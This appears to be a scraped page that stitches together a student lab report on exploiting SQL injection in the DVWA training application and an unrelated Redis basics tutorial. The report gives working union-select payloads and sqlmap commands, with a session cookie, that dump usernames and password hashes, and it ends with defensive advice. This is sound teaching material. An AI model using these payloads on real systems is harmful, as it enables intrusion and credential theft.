Web漏洞分析(dvwa、SQL手工注入、sqlmap注入)

您所在的位置:网站首页 redis基本语法 Web漏洞分析(dvwa、SQL手工注入、sqlmap注入)

Web漏洞分析(dvwa、SQL手工注入、sqlmap注入)

2023-02-18 23:35| 来源: 网络整理| 查看: 265

目录

一、实验目的

二、实验软硬件要求

三、实验预习

四、实验内容(实验步骤、测试数据等)

五、实验步骤

(1) 下载并安装配置DVWA

(2)运行DVWA,创建数据库。

(3) 登录DVWA

(4) 按教材操作流程完成SQ注入分析,验证不同安全级别情况下sql注入的风险,并就实现结果提出安全应对建议。

设置低级防护:根本没有安全措施

1.判断是否存在注入

2.猜解SQL查询语句中的字段数及字段顺序

3.获取当前数据名

4.获取数据库的表名

5.获取表中的字段名

6.获取user及password

7.尝试破解口令

设置中等级防护:发人员试图保护应用程序但失败

1)判断是否存在注入,是字符还是数字

2)猜测SQL查询语句中的字段数

3)获取当前数据名

4)获取数据库的表名

5)获取表中的字段名

6)获取user及password

设置高级防护:对中等难度的扩展,混合了更难或替代性的错误做法来尝试保护代码。该漏洞可能不允许进行相同程度的攻击,类似于各种CTF比赛。

设置不可能级防护:此级别应针对所有漏洞进行安全保护。它用于将易受攻击的源代码与安全源代码进行比较。

sqlmap注入

爆破数据库

爆破dvwa的表

爆破dvwa的guestbook的字段

爆破密码

前情提要

原本实验没有要求sqlmap等操作,听说是做到low等级就好,自行辨别。

一、实验目的

借助Web漏洞教学和演练的开源工具DVWA,学习并了解Web漏洞(以SQL注入为例)的原理及利用,验证SQL注入漏洞的实现过程及结果,并思考应对web漏洞风险的策略与手段。

二、实验软硬件要求

1、操作系统:windows 7/8/10等

2、开发环境:DVWA

三、实验预习

《软件安全技术》教材第4章

四、实验内容(实验步骤、测试数据等)

目标:案例4-2。

实验说明:借助Web漏洞教学和演练的开源工具DVWA,验证SQL注入漏洞的实现过程及结果

步骤:

判断是否存在注入

猜解SQL查询语句中的字段数及字段顺序 获取当前数据名 获取数据库的表名 获取表中的字段名 获取user及password 尝试破解口令

(5)完成实验报告

要求:提供实验步骤说明及相应截图,完成实验报告。

五、实验步骤

(1) 下载并安装配置DVWA

书上安装XAMPP,但我不打算安装,我用phpstudy进行

安装phpstudy

Web漏洞分析(dvwa、SQL手工注入、sqlmap注入)

启动Apache

Web漏洞分析(dvwa、SQL手工注入、sqlmap注入)

浏览器输入http://localhost/

Web漏洞分析(dvwa、SQL手工注入、sqlmap注入)

下载DVWA,将DVWA文件夹放在WWW文件夹下

Web漏洞分析(dvwa、SQL手工注入、sqlmap注入)

打开phpstudy,创建域名

Web漏洞分析(dvwa、SQL手工注入、sqlmap注入)

Web漏洞分析(dvwa、SQL手工注入、sqlmap注入)

修改配置文件config.inc.php,如果没有就复制一份config.inc.php.dist

Web漏洞分析(dvwa、SQL手工注入、sqlmap注入)

Web漏洞分析(dvwa、SQL手工注入、sqlmap注入)

修改password为root(书上为空密码),user改为root

(2)运行DVWA,创建数据库。

打开首页http://dvwa(或者直接dvwa),

Web漏洞分析(dvwa、SQL手工注入、sqlmap注入)

拉到最下方,点击create/reset database初始化数据库

Web漏洞分析(dvwa、SQL手工注入、sqlmap注入) (3) 登录DVWA

Web漏洞分析(dvwa、SQL手工注入、sqlmap注入)

输入admin,password

Web漏洞分析(dvwa、SQL手工注入、sqlmap注入) (4) 按教材操作流程完成SQ注入分析,验证不同安全级别情况下sql注入的风险,并就实现结果提出安全应对建议。 设置低级防护:根本没有安全措施

Web漏洞分析(dvwa、SQL手工注入、sqlmap注入)

源代码:

Web漏洞分析(dvwa、SQL手工注入、sqlmap注入) 1.判断是否存在注入

输入1

Web漏洞分析(dvwa、SQL手工注入、sqlmap注入)

输入1’and’1’=’2

Web漏洞分析(dvwa、SQL手工注入、sqlmap注入)

输入1’or’1’=’1

Web漏洞分析(dvwa、SQL手工注入、sqlmap注入) 2.猜解SQL查询语句中的字段数及字段顺序

输入1′ or 1=1 order by 1 #

Web漏洞分析(dvwa、SQL手工注入、sqlmap注入)

输入1′ or 1=1 union select 1,2,3,4,5,6,7,8#

Web漏洞分析(dvwa、SQL手工注入、sqlmap注入)

判断只有两个字段

输入1′ or 1=1 order by 3#

Web漏洞分析(dvwa、SQL手工注入、sqlmap注入)

核实只有两字段

输入’ union select 1,2#

Web漏洞分析(dvwa、SQL手工注入、sqlmap注入) 3.获取当前数据名

输入’union select user(),database() #

Web漏洞分析(dvwa、SQL手工注入、sqlmap注入) 4.获取数据库的表名

输入’ union select 1, group_concat(table_name) from information_schema.tables where table_schema=database()#

有时候会出现这个字符集不兼容的问题,DVWA问题

Web漏洞分析(dvwa、SQL手工注入、sqlmap注入)

在sql语句from前添加COLLATE utf8_general_ci即可

输入1′ union select 1,group_concat(table_name) COLLATE utf8_general_ci from information_schema.tables where table_schema=database()#

Web漏洞分析(dvwa、SQL手工注入、sqlmap注入) 5.获取表中的字段名

输入’ union select 1,group_concat(column_name) from information_schema.columns where table_name=’users’ #

输入1′ union select 1,group_concat(column_name) COLLATE utf8_general_ci from information_schema.columns where table_name=’users’#

Web漏洞分析(dvwa、SQL手工注入、sqlmap注入) 6.获取user及password

输入’ union select user,password from users#

Web漏洞分析(dvwa、SQL手工注入、sqlmap注入) 7.尝试破解口令

口令是32位,数据库常用加密md5,盲猜md5

5f4dcc3b5aa765d61d8327deb882cf99

Web漏洞分析(dvwa、SQL手工注入、sqlmap注入) 设置中等级防护:发人员试图保护应用程序但失败

源代码:

Web漏洞分析(dvwa、SQL手工注入、sqlmap注入)

它的用户界面变成了一个选项,阻止了一些注入。

[En]

Its user interface becomes an option, blocking some injections.

Web漏洞分析(dvwa、SQL手工注入、sqlmap注入)

在提交id的过程中,发现页面刷新很快,上交的携带参数url无法肉眼捕捉,可以利用bp来搞。

上号bp

1)判断是否存在注入,是字符还是数字

首先尝试抓包、拦截、更改参数,以及上传一条流是否能成功。

[En]

First try to grab the packet, intercept, change the parameters, and whether the upload of a stream can be successful.

Web漏洞分析(dvwa、SQL手工注入、sqlmap注入)

Web漏洞分析(dvwa、SQL手工注入、sqlmap注入)

进行尝试注入1′ or 1=1 #

Web漏洞分析(dvwa、SQL手工注入、sqlmap注入)

看到回应报文

Web漏洞分析(dvwa、SQL手工注入、sqlmap注入)

更改注入1 or 1=1 #

Web漏洞分析(dvwa、SQL手工注入、sqlmap注入)

回应报文,成功

Web漏洞分析(dvwa、SQL手工注入、sqlmap注入) 2)猜测SQL查询语句中的字段数

更改参数为1 order by 2#,成功

Web漏洞分析(dvwa、SQL手工注入、sqlmap注入)

更改参数为1 order by 3#,失败

Web漏洞分析(dvwa、SQL手工注入、sqlmap注入)

只有两个字段

3)获取当前数据名

更改参数1 union select user(),database() #

Web漏洞分析(dvwa、SQL手工注入、sqlmap注入) 4)获取数据库的表名

更改参数1 union select 1,group_concat(table_name) COLLATE utf8_general_ci from information_schema.tables where table_schema=database()#

Web漏洞分析(dvwa、SQL手工注入、sqlmap注入) 5)获取表中的字段名

更改参数1 union select 1,group_concat(column_name) COLLATE utf8_general_ci from information_schema.columns where table_name=’users’#

Web漏洞分析(dvwa、SQL手工注入、sqlmap注入)

但这个注入又很奇怪

6)获取user及password

更改参数1 union select user,password from users#

Web漏洞分析(dvwa、SQL手工注入、sqlmap注入) 设置高级防护:对中等难度的扩展,混合了更难或替代性的错误做法来尝试保护代码。该漏洞可能不允许进行相同程度的攻击,类似于各种CTF比赛。

源代码:

Web漏洞分析(dvwa、SQL手工注入、sqlmap注入)

与medium级别代码相比,high级别的只是在SQL查询语句中增加limit 1,希望以此控制只输出一个结果。

虽然增加limit 1,但是可以通过#将其注释掉。

手工注入的过程与low级别基本一样,直接最后一部演示下载数据

输入’ union select group_concat(user_id,first_name,last_name),group_concat(password) from user #

Web漏洞分析(dvwa、SQL手工注入、sqlmap注入) 设置不可能级防护:此级别应针对所有漏洞进行安全保护。它用于将易受攻击的源代码与安全源代码进行比较。

源代码:

Web漏洞分析(dvwa、SQL手工注入、sqlmap注入)

impossible级别的代码采用了PDO技术,划清了代码与数据的界限,能有效防御sql注入,同时查询返回结果数量为1时,才会成功输出,这样有效预防了脱裤。

sqlmap注入

此外,我进行了sqlmap注入,这比手工快多了。但要注意命令格式

sqlmap.py -u “http://192.168.141.136/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#” –cookie=”security=low; PHPSESSID=u26qutkcu5ak4p0icnii8rppo1″ -dbms mysql -dbs

dvwa靶场有外部登入,所以需要加上cookie,cookie在php info里面查找

Web漏洞分析(dvwa、SQL手工注入、sqlmap注入) 爆破数据库

Web漏洞分析(dvwa、SQL手工注入、sqlmap注入)

Web漏洞分析(dvwa、SQL手工注入、sqlmap注入) 爆破dvwa的表

sqlmap.py -u “http://192.168.141.136/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#” –cookie=”security=low; PHPSESSID=u26qutkcu5ak4p0icnii8rppo1″ -dbms mysql -D dvwa –tables

Web漏洞分析(dvwa、SQL手工注入、sqlmap注入) 爆破dvwa的guestbook的字段

sqlmap.py -u “http://192.168.141.136/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#” –cookie=”security=low; PHPSESSID=u26qutkcu5ak4p0icnii8rppo1″ -D “dvwa” -T “users” –columns

Web漏洞分析(dvwa、SQL手工注入、sqlmap注入) 爆破密码

sqlmap.py -u “http://192.168.141.136/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#” –cookie=”security=low; PHPSESSID=u26qutkcu5ak4p0icnii8rppo1″ -D “dvwa” -T “users” -C “user,password” –dump

Web漏洞分析(dvwa、SQL手工注入、sqlmap注入)

六、实验体会(遇到的问题及解决方法)

麻烦,文档不能完整上传,图片要单贴。 实验步骤有进行略微跳步,但跳的都是简单操作,如果不懂了话,需要去补充一些相关内容。

SQL注入防护手段: 参数类型检测 参数长度检测 危险参数过滤 黑名单过滤 白名单过滤 GPC过滤(PHP.in配置中,magic_quotes_qpc=on,可以自动对输入语句转义) 参数化查询 服务器对网站的权限最小化

Original: https://blog.csdn.net/m0_58138734/article/details/127739487Author: 王陈锋Title: Web漏洞分析(dvwa、SQL手工注入、sqlmap注入)

相关阅读 Title: Redis:Redis的简单使用

目录:

(1)Redis的细节使用

启动、关闭、启动客户端

(2)Redis的基本知识1

测试性能、查看转态、服务器的统计信息

(3)Redis基本知识2

数据库实例

(4)Redis基本知识3

查看key、清空库

(1)Redis的细节使用

Web漏洞分析(dvwa、SQL手工注入、sqlmap注入)

启动方式:(1)前台启动:redis-server:启动完之后,会占整个控制台会占命令行终端,不能做别的事情,命令行一旦关了,它的服务也就关了,实际开发过程中很少使用这种方式

(2)后台启动:redis-server & 控制台不会占整个命令行终端,即是命令行关掉了,后台服务该怎么启动就怎么启动

(3)启动服务时,指定配置文件:redis-server redis-conf & 如果修改了配置文件,需要在启动时,指定配置文件

关闭方式:

通过kill命令,不建议这种方式,容易数据丢失

ps -ef | grep redis查看pidkill -9 pid2. 通过redis-cli 命令关闭redis-cli shutdown

启动:redis-server &

Web漏洞分析(dvwa、SQL手工注入、sqlmap注入)

进行查看:ps -ef|grep redis:发现有6379这个redis

Web漏洞分析(dvwa、SQL手工注入、sqlmap注入)

关闭Redis:redis-cli shutdown

Web漏洞分析(dvwa、SQL手工注入、sqlmap注入)

进行查看:ps -ef|grep redis:没有了端口号6379的redis

Web漏洞分析(dvwa、SQL手工注入、sqlmap注入)

Redis服务端装好之后,不能直接使用,你要想使用,必须通过客户端去连他,通过客户端输入一些命令通过网络传给他,服务端来执行这些命令,来对这些数据进行完成增删改查,并把增删改查的结果返回给客户端

例如:MySql:

1、mysql命令连接数据库格式:

mysql -h 主机地址 -P 端口号 -u用户名 -p用户密码

2、MySQL连接本地数据库,用户名为”root”,密码”123″

mysql -h localhost -u root -p123

mysql基于命令行的比较麻烦,我们嫌不方便,于是出现了可视化工具Navica客户端第三方开发的客户端,这种客户端也可以连接Mysql服务端,向后台Mysql发送一些命令,服务端可以把结果返回给客户端,这种可视化界面给我们带来极大方便。

Redis客户端Redis客户端是一个程序,通过网络连接到Redis服务器,从而实现跟 Redis服务器的交互。Redis客户端发送命令,同时显示Redis服务器的处理结果。redis-cli(Redis Command Line Interface)是Redis自带的基于命令行的Redis客户端,用于与服务端交互,我们可以使用该客户端来执行redis的各种命令。

Web漏洞分析(dvwa、SQL手工注入、sqlmap注入)

启动Redis客户端:

1)直接连接redis (默认ip127.0.0.1,端口6379):redis-cli

在任意目录执行 redis-cli

此命令是连接本机127.0.0.1 ,端口6379的redis

Web漏洞分析(dvwa、SQL手工注入、sqlmap注入)

可以指定端口号:

Web漏洞分析(dvwa、SQL手工注入、sqlmap注入)

2)指定IP和端口连接redis:redis-cli –h 127.0.0.1 -p 6379

-h redis主机IP(可以指定任意的redis服务器)

-p端口号(不同的端口表示不同的redis应用)

在任意目录下执行 redis-cli -h 127.0.0.1 -p 6379

Web漏洞分析(dvwa、SQL手工注入、sqlmap注入) 退出Redis客户端:exit或者quit指令。

Web漏洞分析(dvwa、SQL手工注入、sqlmap注入)

(2)Redis的基本知识1

Web漏洞分析(dvwa、SQL手工注入、sqlmap注入) 测试Redis性能

Web漏洞分析(dvwa、SQL手工注入、sqlmap注入)

Web漏洞分析(dvwa、SQL手工注入、sqlmap注入)

2.Redis沟通命令,查看状态

redis >ping 返回PONG

解释:输入ping,redis给我们返回PONG,表示redis服务运行正常

Web漏洞分析(dvwa、SQL手工注入、sqlmap注入)

3.查看redis服务器的统计信息:info

语法:info [section]

作用:以一种易于解释且易于阅读的格式,返回关于 Redis 服务器的各种信息和统计数值。section 用来返回指定部分的统计信息。 section的值:server , clients ,memory等等。 不加section 返回全部统计信息

返回值:指定section的统计信息或全部信息

例1 :统计server 的信息

Web漏洞分析(dvwa、SQL手工注入、sqlmap注入)

例2 :统计全部信息

Web漏洞分析(dvwa、SQL手工注入、sqlmap注入)

(3)Redis基本知识2

Web漏洞分析(dvwa、SQL手工注入、sqlmap注入)

MySQL中的数据库实例,可以根据开发人员自己创建,自己可以创建,自己可以命名,自己可以维护

Redis的数据库实例,只能由Redis自己创建去维护,程序员想用的话,不能自己创建只用用创建号好的

redis默认使用16个库

Redis默认使用16个库,从0到15。 对数据库个数的修改,在redis.conf文件中databases 16,理论上可以配置无限多个。

Web漏洞分析(dvwa、SQL手工注入、sqlmap注入)

Redis的库和关系型数据库中的数据库实例类似,但又有一些不同,比如redis中各个库不能自定义命名,只能用序号表示,redis中各个库不是完全独立的,使用时最好一个应用使用一个redis实例,不建议一个redis实例中保存多个应用的数据。Redis实例本身所占存储空间其实是非常小的,因此不会造成存储空间的浪费。

例如:用set 命令存一个数据,默认情况下客户端连的是0号实例

Web漏洞分析(dvwa、SQL手工注入、sqlmap注入)

2.切换库命令:select db

默认使用第0个,如果要使用其他数据库,命令是 select index

Web漏洞分析(dvwa、SQL手工注入、sqlmap注入)

(4)Redis的基本知识3

1.查看当前数据库中key的数目:dbsize

语法:dbsize

作用:返回当前数据库的 key 的数量。

返回值:数字,key的数量

Web漏洞分析(dvwa、SQL手工注入、sqlmap注入)

刚才存放一条数据,为什么是2呢?

:0号比较特殊,里面默认放了几条数据了

Web漏洞分析(dvwa、SQL手工注入、sqlmap注入)

2.查看当前数据库中有哪些key:keys *

Web漏洞分析(dvwa、SQL手工注入、sqlmap注入)

Web漏洞分析(dvwa、SQL手工注入、sqlmap注入)

3.清空当前库:flushdb

Web漏洞分析(dvwa、SQL手工注入、sqlmap注入)

4.清空所有数据库:flushall 清空所有的数据库实例

Web漏洞分析(dvwa、SQL手工注入、sqlmap注入)

这也体现出redis中的库并不是完全无关的。

Web漏洞分析(dvwa、SQL手工注入、sqlmap注入)

4.config get * 获得redis的所有配置值

语法:config get parameter

作用:获取运行中Redis服务器的配置参数, 获取全部配置可以使用*。参数信息来自redis.conf 文件的内容。

例1:获取数据库个数 config get databases

Web漏洞分析(dvwa、SQL手工注入、sqlmap注入)

例2:获取端口号config get port

Web漏洞分析(dvwa、SQL手工注入、sqlmap注入)

Original: https://blog.csdn.net/dengfengling999/article/details/125577645Author: dengfengling999Title: Redis:Redis的简单使用

原创文章受到原创版权保护。转载请注明出处:https://www.johngo689.com/396091/

转载文章受原作者版权保护。转载请注明原作者出处!



【本文地址】


今日新闻


推荐新闻


    CopyRight 2018-2019 办公设备维修网 版权所有 豫ICP备15022753号-3